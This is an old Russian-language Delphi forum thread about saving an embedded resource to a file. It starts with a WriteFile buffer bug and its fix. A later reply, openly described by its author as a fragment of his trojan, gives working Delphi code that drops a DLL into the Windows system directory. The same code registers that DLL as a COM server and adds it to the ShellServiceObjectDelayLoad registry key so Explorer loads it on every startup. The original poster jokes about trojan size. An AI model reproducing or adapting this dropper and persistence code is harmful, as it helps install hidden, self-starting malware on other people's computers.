Вниз
Скачать: CL | DM;

Как сохранить ресурс в файл?   Найти похожие ветки 

← →
lpVoid ©   (2005-04-21 13:56) [0]

Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784


 hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 hRes:=FindResource(0, "DATA", RT_RCDATA);
 szRes:=SizeOfResource(0, hRes);
 hResMem:=LoadResource(0, hRes);
 pBuffer:=LockResource(hResMem);
 WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
 CloseHandle(hSrcFile);


← →
mgcr ©   (2005-04-21 14:56) [1]

WriteFile(hFile, pBuffer^, szRes, WriteCount, 0);


← →
Dot   (2005-04-21 15:16) [2]

а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?


← →
lpVoid ©   (2005-04-21 16:22) [3]

Спасибо, mgcr. Стормозил я чего-то.


← →
lock95   (2005-04-22 20:51) [4]

Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика)   ;)

program Project1;

uses
  Windows, SysUtils, Classes, Registry;

{$R sheldll.RES}//наш ресурс

var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;

begin

 GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
 Sysdir:=StrPas(szPath)+"\sheldll.dll";   //   преобразуем в стр + \sheldll.dll

     MyDll1:=TResourceStream.Create(hInstance, "MYDLL", RT_RCDATA);
   try
   MyDll1.SaveToFile(Sysdir);
  // Finally
    except          //пуска не глючит
     MyDll1.Free;
  end; {try}

   reg:=Tregistry.create;
   reg.rootkey:=HKEY_CLASSES_ROOT;
 try
   reg.openkey ("CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32", true);
   reg.writestring("",Sysdir);
   reg.closekey;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey("Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", true);
   reg.writestring("MyDllLoade","{69502F20-E8CD-11D5-A784-0050BF44BD3B}");
   reg.closekey;
 finally
   reg.free;
 end; {try}

end.


← →
lpVoid ©   (2005-04-22 23:17) [5]

Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)



Страницы: 1 вся ветка

Скачать: CL | DM;



Память: 0.46 MB
Время: 0.024 c
6-1111871948
Nes
2005-03-27 00:19
2005.06.14
Undeclared identifier: TIdSocketHandle -- "Ха"?


3-1115359406
Ньюб
2005-05-06 10:03
2005.06.14
как отловить обрыв связи на IBX_Version = 6.0;


3-1115607472
KLEVO
2005-05-09 06:57
2005.06.14
База данных с SQL


14-1116831817
Polevi
2005-05-23 11:03
2005.06.14
сульфурна кислота


14-1117204614
Dream3D
2005-05-27 18:36
2005.06.14
Контент для сайта




   Наверх